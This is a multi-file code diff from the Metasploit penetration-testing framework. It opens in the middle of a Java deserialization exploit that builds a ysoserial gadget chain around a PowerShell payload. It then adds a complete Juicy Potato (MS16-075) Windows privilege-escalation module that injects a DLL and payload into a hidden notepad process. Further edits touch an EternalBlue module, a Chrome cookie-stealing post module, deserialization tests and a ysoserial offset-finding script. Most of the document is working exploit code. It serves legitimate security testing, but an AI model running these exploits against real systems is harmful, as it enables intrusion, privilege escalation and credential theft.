jsonss_end = Rex::Text.decode_base64 "CAA2AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADgAOQoAKwA6AQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjE0MTQzNDkxMTUwNDY3MgEAIEx5c29zZXJpYWwvUHduZXIxNDE0MzQ5MTE1MDQ2NzI7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAMAAOAAAADAABAAAABQAPAD4AAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANQAOAAAAIAADAAAAAQAPAD4AAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOQAOAAAAKgAEAAAAAQAPAD4AAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAANQAGAAIAAAAgpwADAUy4AC8GvQAxWQMSM1NZBBI1U1kFEjdTtgA7V7EAAAABADwAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+AEYAAAHUyv66vgAAADMAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHhzcgAmamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uVGFidWxhclR5cGVa9L2hxNYGPQIAAkwACmluZGV4TmFtZXNxAH4AMEwAB3Jvd1R5cGV0ACpMamF2YXgvbWFuYWdlbWVudC9vcGVubWJlYW4vQ29tcG9zaXRlVHlwZTt4cQB+ABt0ACZqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5UYWJ1bGFyRGF0YXEAfgAfcQB+ACBzcgAmamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUxpc3T8DyUxteyOEAIAAUwABGxpc3RxAH4AMHhyACxqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlQ29sbGVjdGlvbhlCAIDLXvceAgABTAABY3QAFkxqYXZhL3V0aWwvQ29sbGVjdGlvbjt4cHNxAH4AOgAAAAF3BAAAAAFxAH4AIHhxAH4AUnEAfgAdcQB+AAVzcQB+AAJxAH4AB3EAfgBMcQB+AFN4"
|
||||
|
||||
# Generate Payload
|
||||
cmd = gen_payload
|
||||
tmp = 0x06d3 + cmd.length # Magic number plus length of the cmd
|
||||
tmp = tmp.to_s(16)
|
||||
length_param = [tmp.rjust(4,'0')].pack("H*")
|
||||
|
||||
# Convert command length to binary (two bytes, big-endian)
|
||||
tmp = cmd.length.to_s(16)
|
||||
cmd_size = [tmp.rjust(4,'0')].pack("H*")
|
||||
|
||||
# Some assembly required
|
||||
serialized_data = jsonss_start
|
||||
serialized_data += length_param
|
||||
serialized_data += jsonss_mid
|
||||
serialized_data += cmd_size
|
||||
serialized_data += cmd
|
||||
serialized_data += jsonss_end
|
||||
|
||||
return serialized_data
|
||||
end
|
||||
|
||||
def gen_payload
|
||||
# Powershell payload
|
||||
cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,198 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/post/windows/reflective_dll_injection'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
include Msf::Post::Windows::FileInfo
|
||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)',
|
||||
'Description' => %q(
|
||||
This module utilizes the Net-NTLMv2 reflection between DCOM/RPC
|
||||
to achieve a SYSTEM handle for elevation of privilege.
|
||||
It requires a CLSID string.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'FoxGloveSec', # the original Potato exploit
|
||||
'breenmachine', # Rotten Potato NG!
|
||||
'decoder', # Lonely / Juicy Potato
|
||||
'ohpe', # Juicy Potato
|
||||
'phra', # MSF Module
|
||||
'lupman' # MSF Module
|
||||
],
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'none',
|
||||
'WfsDelay' => '20'
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic', {}]
|
||||
#['Windows x86', { 'Arch' => ARCH_X86 }],
|
||||
#['Windows x64', { 'Arch' => ARCH_X64 }]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['MSB', 'MS16-075'],
|
||||
['CVE', '2016-3225'],
|
||||
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'],
|
||||
['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'],
|
||||
['URL', 'https://github.com/breenmachine/RottenPotatoNG'],
|
||||
['URL', 'https://decoder.cloud/2017/12/23/the-lonely-potato/'],
|
||||
['URL', 'https://ohpe.it/juicy-potato/']
|
||||
],
|
||||
'DisclosureDate' => 'Jan 16 2016',
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CLSID', [ true, 'Set CLSID value of the DCOM to trigger', '{4991d34b-80a1-4291-83b6-3328366b9097}' ])
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptAddress.new('RpcServerHost', [ true, 'Set RPC server target host', '127.0.0.1' ]),
|
||||
OptPort.new('RpcServerPort', [ true, 'Set RPC server target port', 135 ]),
|
||||
OptAddress.new('ListeningAddress', [ true, 'Set listening address for MITM DCOM communication', '127.0.0.1' ]),
|
||||
OptPort.new('ListeningPort', [ true, 'Set listening port for MITM DCOM communication', 7777 ]),
|
||||
OptString.new('LogFile', [ false, 'Set the log file' ])
|
||||
])
|
||||
end
|
||||
|
||||
def assign_target
|
||||
if target.name == 'Automatic'
|
||||
case sysinfo["Architecture"]
|
||||
when 'x86'
|
||||
vprint_status("Found we are on an x86 target")
|
||||
my_target = targets[1]
|
||||
when 'x64'
|
||||
vprint_status("Found we are on an x64 target")
|
||||
my_target = targets[2]
|
||||
else
|
||||
fail_with(Failure::NoTarget, "Unable to determine target")
|
||||
end
|
||||
else
|
||||
my_target = target
|
||||
end
|
||||
return my_target
|
||||
end
|
||||
|
||||
# Creates a temp notepad.exe to inject payload in to given the payload
|
||||
def create_temp_proc()
|
||||
windir = client.sys.config.getenv('windir')
|
||||
# Select path of executable to run depending the architecture
|
||||
if sysinfo["Architecture"] == ARCH_X64 and client.arch == ARCH_X86 and @payload_arch.first == ARCH_X64
|
||||
cmd = "#{windir}\\Sysnative\\notepad.exe"
|
||||
elsif sysinfo["Architecture"] == ARCH_X64 and client.arch == ARCH_X64 and @payload_arch.first == ARCH_X86
|
||||
cmd = "#{windir}\\SysWOW64\\notepad.exe"
|
||||
else
|
||||
cmd = "#{windir}\\System32\\notepad.exe"
|
||||
end
|
||||
begin
|
||||
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true})
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
return nil
|
||||
end
|
||||
|
||||
return proc
|
||||
end
|
||||
|
||||
def create_temp_proc_stage2()
|
||||
windir = client.sys.config.getenv('windir')
|
||||
# Select path of executable to run depending the architecture
|
||||
if sysinfo["Architecture"] == ARCH_X64 and @payload_arch.first == ARCH_X86
|
||||
cmd = "#{windir}\\SysWOW64\\notepad.exe"
|
||||
else
|
||||
cmd = "#{windir}\\System32\\notepad.exe"
|
||||
end
|
||||
return cmd
|
||||
end
|
||||
|
||||
def check
|
||||
privs = client.sys.config.getprivs
|
||||
win10build = client.sys.config.sysinfo['OS'].match /Windows 10 \(Build (\d+)\)/
|
||||
if win10build and win10build[1] > '17134'
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
win2019build = client.sys.config.sysinfo['OS'].match /Windows 2019 \(Build (\d+)\)/
|
||||
if win2019build and win2019build[1] > '17134'
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
if privs.include?('SeImpersonatePrivilege')
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_system?
|
||||
fail_with(Failure::None, 'Session is already elevated')
|
||||
end
|
||||
@payload_name = datastore['PAYLOAD']
|
||||
@payload_arch = framework.payloads.create(@payload_name).arch
|
||||
my_target = assign_target
|
||||
if check == Exploit::CheckCode::Safe
|
||||
fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege')
|
||||
end
|
||||
if @payload_arch.first == ARCH_X64
|
||||
dll_file_name = 'juicypotato.x64.dll'
|
||||
vprint_status("Assigning payload juicypotato.x64.dll")
|
||||
elsif @payload_arch.first == ARCH_X86
|
||||
dll_file_name = 'juicypotato.x86.dll'
|
||||
vprint_status("Assigning payload juicypotato.x86.dll")
|
||||
else
|
||||
fail_with(Failure::BadConfig, "Unknown target arch; unable to assign exploit code")
|
||||
end
|
||||
print_status('Launching notepad to host the exploit...')
|
||||
notepad_process = create_temp_proc
|
||||
cmd = create_temp_proc_stage2
|
||||
begin
|
||||
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
|
||||
print_good("Process #{process.pid} launched.")
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
print_error('Operation failed. Trying to elevate the current process...')
|
||||
process = client.sys.process.open
|
||||
end
|
||||
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
|
||||
library_path = ::File.join(Msf::Config.data_directory, "exploits", "juicypotato", dll_file_name)
|
||||
library_path = ::File.expand_path(library_path)
|
||||
print_status("Injecting exploit into #{process.pid}...")
|
||||
exploit_mem, offset = inject_dll_into_process(process, library_path)
|
||||
print_status("Exploit injected. Injecting exploit configuration into #{process.pid}...")
|
||||
configuration = "#{datastore['LogFile']}\x00"
|
||||
configuration += "#{cmd}\x00"
|
||||
configuration += "#{datastore['CLSID']}\x00"
|
||||
configuration += "#{datastore['ListeningPort']}\x00"
|
||||
configuration += "#{datastore['RpcServerHost']}\x00"
|
||||
configuration += "#{datastore['RpcServerPort']}\x00"
|
||||
configuration += "#{datastore['ListeningAddress']}\x00"
|
||||
configuration += "#{payload.encoded.length}\x00"
|
||||
configuration += payload.encoded
|
||||
payload_mem = inject_into_process(process, configuration)
|
||||
# invoke the exploit, passing in the address of the payload that
|
||||
# we want invoked on successful exploitation.
|
||||
print_status('Configuration injected. Executing exploit...')
|
||||
process.thread.create(exploit_mem + offset, payload_mem)
|
||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||
end
|
||||
end
|
|
@ -103,7 +103,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
def exploit
|
||||
begin
|
||||
if datastore['SMBUser'].present?
|
||||
print_status("Authenticating to #{datastore['RHOSTS']} as user '#{splitname(datastore['SMBUser'])}'...")
|
||||
print_status("Authenticating to #{datastore['RHOST']} as user '#{splitname(datastore['SMBUser'])}'...")
|
||||
end
|
||||
eternal_pwn(datastore['RHOST'])
|
||||
smb_pwn()
|
||||
|
|
|
@ -180,7 +180,8 @@ class MetasploitModule < Msf::Post
|
|||
# read_file within if/else block because kill was terminating sessions on OSX during testing
|
||||
chrome_output = read_file(@cookie_storage_path)
|
||||
|
||||
# Kills meterpreter only non-windows sessions
|
||||
# Kills spawned chrome process in windows meterpreter sessions.
|
||||
# In OSX and Linux the meterpreter sessions would stop as well.
|
||||
if session.platform == 'windows'
|
||||
kill_output = cmd_exec "#{kill_cmd} #{chrome_pid}"
|
||||
end
|
||||
|
|
|
@ -0,0 +1,20 @@
|
|||
# msf-ws.ru
|
||||
# Metasploit data web service
|
||||
|
||||
require 'pathname'
|
||||
@framework_path = '.'
|
||||
root = Pathname.new(@framework_path).expand_path
|
||||
@framework_lib_path = root.join('lib')
|
||||
$LOAD_PATH << @framework_lib_path unless $LOAD_PATH.include?(@framework_lib_path)
|
||||
|
||||
require 'msfenv'
|
||||
|
||||
if ENV['MSF_LOCAL_LIB']
|
||||
$LOAD_PATH << ENV['MSF_LOCAL_LIB'] unless $LOAD_PATH.include?(ENV['MSF_LOCAL_LIB'])
|
||||
end
|
||||
|
||||
# Note: setup Rails environment before calling require
|
||||
require 'msf/core/web_services/metasploit_api_app'
|
||||
|
||||
# run Msf::WebServices::JsonRpcApp
|
||||
run MetasploitApiApp
|
54
msfdb
54
msfdb
|
@ -32,7 +32,7 @@ require 'msf/util/helper'
|
|||
@db_conf = "#{@localconf}/database.yml"
|
||||
|
||||
@ws_tag = 'msf-ws'
|
||||
@ws_conf = "#{@localconf}/#{@ws_tag}-config.ru"
|
||||
@ws_conf = File.join(@framework, "#{@ws_tag}.ru")
|
||||
@ws_ssl_key_default = "#{@localconf}/#{@ws_tag}-key.pem"
|
||||
@ws_ssl_cert_default = "#{@localconf}/#{@ws_tag}-cert.pem"
|
||||
@ws_log = "#{@localconf}/logs/#{@ws_tag}.log"
|
||||
|
@ -398,60 +398,12 @@ def status_web_service
|
|||
end
|
||||
|
||||
def init_web_service
|
||||
if File.file?(@ws_conf)
|
||||
puts "Found web service config at #{@ws_conf}, checking to see if it is started"
|
||||
start_web_service(expect_auth: true)
|
||||
return
|
||||
end
|
||||
|
||||
if @options[:ws_user].nil?
|
||||
@msf_ws_user = ask_value('Initial MSF web service account username?', @msf_ws_user)
|
||||
else
|
||||
@msf_ws_user = @options[:ws_user]
|
||||
end
|
||||
|
||||
# Write a default Rack config file for the web service
|
||||
Dir.mkdir(@localconf) unless File.directory?(@localconf)
|
||||
# TODO: free the REST API from all of these requirements
|
||||
File.open(@ws_conf, 'w') do |f|
|
||||
f.puts <<~EOF
|
||||
# #{File.basename(@ws_conf)}
|
||||
# created on: #{Time.now.utc}
|
||||
|
||||
@framework_path = '#{@framework}'
|
||||
$LOAD_PATH << @framework_path unless $LOAD_PATH.include?(@framework_path)
|
||||
|
||||
require File.expand_path('./config/boot', @framework_path)
|
||||
require 'metasploit/framework/parsed_options/remote_db'
|
||||
require 'msf/core/web_services/metasploit_api_app'
|
||||
|
||||
def require_environment!(parsed_options)
|
||||
# RAILS_ENV must be set before requiring 'config/application.rb'
|
||||
parsed_options.environment!
|
||||
ARGV.replace(parsed_options.positional)
|
||||
|
||||
# allow other Rails::Applications to use this command
|
||||
if !defined?(Rails) || Rails.application.nil?
|
||||
# @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/commands.rb#L39-L40
|
||||
require File.expand_path('./config/application', @framework_path)
|
||||
end
|
||||
|
||||
# have to configure before requiring environment because
|
||||
# config/environment.rb calls initialize! and the initializers will use
|
||||
# the configuration from the parsed options.
|
||||
parsed_options.configure(Rails.application)
|
||||
|
||||
Rails.application.require_environment!
|
||||
end
|
||||
|
||||
parsed_options = Metasploit::Framework::ParsedOptions::RemoteDB.new
|
||||
require_environment!(parsed_options)
|
||||
|
||||
run MetasploitApiApp
|
||||
EOF
|
||||
end
|
||||
File.chmod(0640, @ws_conf)
|
||||
|
||||
if @options[:ssl] && ((!File.file?(@options[:ssl_key]) || !File.file?(@options[:ssl_cert])) ||
|
||||
(@options[:ssl_key] == @ws_ssl_key_default && @options[:ssl_cert] == @ws_ssl_cert_default))
|
||||
generate_web_service_ssl(key: @options[:ssl_key], cert: @options[:ssl_cert])
|
||||
|
@ -541,9 +493,6 @@ end
|
|||
|
||||
def delete_web_service
|
||||
stop_web_service
|
||||
if File.file?(@ws_conf) && ask_yn("Delete MSF web service configuration at #{@ws_conf}?")
|
||||
File.delete(@ws_conf)
|
||||
end
|
||||
end
|
||||
|
||||
def reinit_web_service
|
||||
|
@ -559,7 +508,6 @@ def generate_web_service_ssl(key:, cert:)
|
|||
end
|
||||
|
||||
puts 'Generating SSL key and certificate for MSF web service'
|
||||
# @ssl_cert = Rex::Socket::SslTcpServer.ssl_generate_certificate
|
||||
@ssl_key, @ssl_cert, @ssl_extra_chain_cert = Rex::Socket::Ssl.ssl_generate_certificate
|
||||
|
||||
# write PEM format key and certificate
|
||||
|
|
|
@ -1344,7 +1344,7 @@ class Plugin::Wmap < Msf::Plugin
|
|||
ssl = true
|
||||
end
|
||||
|
||||
site = self.framework.db.report_web_site(:wait => true, :host => uri.host, :port => uri.port, :vhost => vhost, :ssl => ssl)
|
||||
site = self.framework.db.report_web_site(:wait => true, :host => uri.host, :port => uri.port, :vhost => vhost, :ssl => ssl, :workspace => self.framework.db.workspace)
|
||||
|
||||
return site
|
||||
end
|
||||
|
|
|
@ -0,0 +1,80 @@
|
|||
require 'rex'
|
||||
require 'msf/util/java_deserialization'
|
||||
|
||||
RSpec.describe Msf::Util::JavaDeserialization do
|
||||
let(:payload_name) do
|
||||
'PAYLOAD_NAME'
|
||||
end
|
||||
|
||||
let(:default_command) do
|
||||
nil
|
||||
end
|
||||
|
||||
describe '#ysoserial_payload' do
|
||||
context 'when default payload name is changed' do
|
||||
it 'raises a RuntimeError' do
|
||||
payload_filename_constant = Msf::Util::JavaDeserialization.const_get(:PAYLOAD_FILENAME)
|
||||
Msf::Util::JavaDeserialization.const_set(:PAYLOAD_FILENAME, 'INVALID')
|
||||
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(RuntimeError)
|
||||
Msf::Util::JavaDeserialization.const_set(:PAYLOAD_FILENAME, payload_filename_constant)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when default payload is not found' do
|
||||
it 'raises a RuntimeError' do
|
||||
allow(File).to receive(:join).and_return('INVALID')
|
||||
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when default payload is not JSON format' do
|
||||
it 'raises a RuntimeError error' do
|
||||
allow(File).to receive(:read).and_return('BAD DATA')
|
||||
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when payload status is unsupported' do
|
||||
it 'raises a unsupported error' do
|
||||
json_data = %Q|{"BeanShell1":{"status":"unsupported","bytes":"AAAA"}}|
|
||||
allow(File).to receive(:read).and_return(json_data)
|
||||
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when payload status is static' do
|
||||
let(:payload_name) do
|
||||
'BeanShell1'
|
||||
end
|
||||
|
||||
it 'returns a Base64 string' do
|
||||
original_bytes = 'AAAA'
|
||||
b64 = Rex::Text.encode_base64(original_bytes)
|
||||
json_data = %Q|{"BeanShell1":{"status":"static","bytes":"#{b64}"}}|
|
||||
allow(File).to receive(:read).and_return(json_data)
|
||||
p = Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)
|
||||
expect(p).to eq(original_bytes)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when payload status is dynamic' do
|
||||
let(:payload_name) do
|
||||
'BeanShell1'
|
||||
end
|
||||
|
||||
context 'when missing a command' do
|
||||
it 'raises an argument error' do
|
||||
expect{Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)}.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when a command is provided' do
|
||||
it 'returns serialized data' do
|
||||
default_command = 'id'
|
||||
p = Msf::Util::JavaDeserialization::ysoserial_payload(payload_name, default_command)
|
||||
expect(p).to include('java.awt.event')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,9 +1,15 @@
|
|||
RSpec.shared_examples_for 'Msf::DBManager::Cred' do
|
||||
|
||||
unless ENV['REMOTE_DB']
|
||||
it { is_expected.to respond_to :each_cred }
|
||||
it { is_expected.to respond_to :find_or_create_cred }
|
||||
it { is_expected.to respond_to :report_auth }
|
||||
it { is_expected.to respond_to :report_auth_info }
|
||||
it { is_expected.to respond_to :report_cred }
|
||||
end
|
||||
|
||||
it { is_expected.to respond_to :creds }
|
||||
it { is_expected.to respond_to :each_cred }
|
||||
it { is_expected.to respond_to :find_or_create_cred }
|
||||
it { is_expected.to respond_to :report_auth }
|
||||
it { is_expected.to respond_to :report_auth_info }
|
||||
it { is_expected.to respond_to :report_cred }
|
||||
it { is_expected.to respond_to :create_credential }
|
||||
it { is_expected.to respond_to :update_credential }
|
||||
it { is_expected.to respond_to :delete_credentials }
|
||||
end
|
|
@ -0,0 +1,32 @@
|
|||
# A docker container to generate empty ysoserial payloads and metadata to allow for
|
||||
# dynamically creating payloads within related projects, such as Metasploit
|
||||
#
|
||||
# Created by: Aaron Soto, Rapid7 Metasploit Team, 2018-DEC-11
|
||||
#
|
||||
# To run:
|
||||
# docker build -t ysoserial-payloads . && docker run -i ysoserial-payloads > ysoserial_offsets.json
|
||||
#
|
||||
# Note: There will be ruby gem errors. It's fine.
|
||||
# We attempt to use the ysoserial-modified fork, then fail back to the original ysoserial project.
|
||||
# You will see warnings, but we're doing our best. :-)
|
||||
|
||||
FROM ubuntu
|
||||
|
||||
RUN apt update && apt -y upgrade
|
||||
# Dependencies: wget (to download ysoserial)
|
||||
# openjdk-8-jre-headless (to execute ysoserial)
|
||||
# make, gcc (to install the 'json' ruby gem)
|
||||
RUN apt install -y wget openjdk-8-jre-headless ruby-dev make gcc
|
||||
|
||||
# Download the latest ysoserial-modified
|
||||
RUN wget -q https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial-original.jar
|
||||
RUN wget -q https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar
|
||||
|
||||
# Install gems: diff-lcs (to diff the ysoserial output)
|
||||
# json (to print the scripts results in JSON)
|
||||
# pry (to debug issues)
|
||||
RUN gem install --silent diff-lcs json pry
|
||||
|
||||
COPY find_ysoserial_offsets.rb /
|
||||
|
||||
CMD ruby /find_ysoserial_offsets.rb
|
|
@ -0,0 +1,224 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
require 'diff-lcs'
|
||||
require 'json'
|
||||
require 'base64'
|
||||
require 'open3'
|
||||
|
||||
YSOSERIAL_RANDOMIZED_HEADER = 'ysoserial/Pwner'
|
||||
PAYLOAD_TEST_MIN_LENGTH = 4
|
||||
PAYLOAD_TEST_MAX_LENGTH = 5
|
||||
|
||||
# ARGV parsing
|
||||
if ARGV.include?("-h")
|
||||
puts 'ysoserial object template generator'
|
||||
puts
|
||||
puts 'Usage:'
|
||||
puts ' -h Help'
|
||||
puts ' -d Debug mode (output offset information only)'
|
||||
puts " -m [type] Use 'ysoserial-modified' with the specified payload type"
|
||||
puts
|
||||
abort
|
||||
end
|
||||
|
||||
debug = ARGV.include?('-d')
|
||||
ysoserial_modified = ARGV.include?('-m')
|
||||
if ysoserial_modified
|
||||
payload_type = ARGV[ARGV.find_index('-m')+1]
|
||||
unless ['cmd', 'bash', 'powershell', 'none'].include?(payload_type)
|
||||
STDERR.puts 'ERROR: Invalid payload type specified'
|
||||
abort
|
||||
end
|
||||
end
|
||||
|
||||
def generate_payload(payload_name,search_string_length)
|
||||
# Generate a string of specified length and embed it into an ASCII-encoded ysoserial payload
|
||||
searchString = 'A' * search_string_length
|
||||
|
||||
# Build the command line with ysoserial parameters
|
||||
if ysoserial_modified
|
||||
stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-modified.jar',payload_name.to_s,payload_type.to_s,searchString.to_s)
|
||||
else
|
||||
stdout, stderr, status = Open3.capture3('java','-jar','ysoserial-original.jar',payload_name.to_s,searchString.to_s)
|
||||
end
|
||||
|
||||
payload = stdout
|
||||
payload.force_encoding('binary')
|
||||
|
||||
if payload.length == 0 && stderr.length > 0
|
||||
# Pipe errors out to the console
|
||||
STDERR.puts stderr.split("\n").each {|i| i.prepend(" ")}
|
||||
elsif stderr.include? 'java.lang.IllegalArgumentException'
|
||||
#STDERR.puts " WARNING: '#{payload_name}' requires complex args and may not be supported"
|
||||
return nil
|
||||
elsif stderr.include? 'Error while generating or serializing payload'
|
||||
#STDERR.puts " WARNING: '#{payload_name}' errored and may not be supported"
|
||||
return nil
|
||||
elsif stdout == "\xac\xed\x00\x05\x70"
|
||||
#STDERR.puts " WARNING: '#{payload_name}' returned null and may not be supported"
|
||||
return nil
|
||||
else
|
||||
#STDERR.puts " Successfully generated #{payload_name} using #{YSOSERIAL_BINARY}"
|
||||
|
||||
# Strip out the semi-randomized ysoserial string and trailing newline
|
||||
payload.gsub!(/#{YSOSERIAL_RANDOMIZED_HEADER}[[:digit:]]+/, 'ysoserial/Pwner00000000000000')
|
||||
return payload
|
||||
end
|
||||
end
|
||||
|
||||
def generate_payload_array(payload_name)
|
||||
# Generate and return a number of payloads, each with increasingly longer strings, for future comparison
|
||||
payload_array = []
|
||||
(PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|
|
||||
payload = generate_payload(payload_name,i)
|
||||
return nil if payload.nil?
|
||||
payload_array[i] = payload
|
||||
end
|
||||
|
||||
payload_array
|
||||
end
|
||||
|
||||
def isLengthOffset?(current_byte, next_byte)
|
||||
# If this byte has been changed, and is different by one, then it must be a length value
|
||||
if next_byte && current_byte.position == next_byte.position && current_byte.action == "-"
|
||||
if next_byte.element.ord - current_byte.element.ord == 1
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def isBufferOffset?(current_byte, next_byte)
|
||||
# If this byte has been inserted, then it must be part of the increasingly large payload buffer
|
||||
if (current_byte.action == '+' && (next_byte.nil? || (current_byte.position != next_byte.position)))
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def diff(a,b)
|
||||
return nil if a.nil? or b.nil?
|
||||
|
||||
diffs = []
|
||||
obj = Diff::LCS.diff(a,b)
|
||||
obj.each do |i|
|
||||
i.each do |j|
|
||||
diffs.push(j)
|
||||
end
|
||||
end
|
||||
|
||||
diffs
|
||||
end
|
||||
|
||||
def get_payload_list
|
||||
# Call ysoserial and return the list of payloads that can be generated
|
||||
payloads = `java -jar ysoserial-original.jar 2>&1`
|
||||
payloads.encode!('ASCII', 'binary', invalid: :replace, undef: :replace, replace: '')
|
||||
payloads = payloads.split("\n")
|
||||
|
||||
# Make sure the headers are intact, then skip over them
|
||||
abort unless payloads[0] == 'Y SO SERIAL?'
|
||||
payloads = payloads.drop(5)
|
||||
|
||||
payloadList = []
|
||||
payloads.each do |line|
|
||||
# Skip the header rows
|
||||
next unless line.start_with? " "
|
||||
payloadList.push(line.scan(/^ ([^ ]*) .*/).first.last)
|
||||
end
|
||||
|
||||
payloadList
|
||||
end
|
||||
|
||||
results = {}
|
||||
payloadList = get_payload_list
|
||||
payloadList.each do |payload|
|
||||
STDERR.puts "Generating payloads for #{payload}..."
|
||||
|
||||
empty_payload = generate_payload(payload,0)
|
||||
|
||||
if empty_payload.nil?
|
||||
STDERR.puts " ERROR: Errored while generating '#{payload}' and it will not be supported"
|
||||
results[payload]={"status": "unsupported"}
|
||||
next
|
||||
end
|
||||
|
||||
payload_array = generate_payload_array(payload)
|
||||
|
||||
length_offsets = []
|
||||
buffer_offsets = []
|
||||
|
||||
# Comparing diffs of various payload lengths to find length and buffer offsets
|
||||
(PAYLOAD_TEST_MIN_LENGTH..PAYLOAD_TEST_MAX_LENGTH).each do |i|
|
||||
# Compare this binary with the next one
|
||||
diffs = diff(payload_array[i],payload_array[i+1])
|
||||
|
||||
break if diffs.nil?
|
||||
|
||||
# Iterate through each diff, searching for offsets of the length and the payload
|
||||
(0..diffs.length-1).each do |j|
|
||||
current_byte = diffs[j]
|
||||
next_byte = diffs[j+1]
|
||||
prevByte = diffs[j-1]
|
||||
|
||||
if j > 0
|
||||
# Skip this if we compared these two bytes on the previous iteration
|
||||
next if prevByte.position == current_byte.position
|
||||
end
|
||||
|
||||
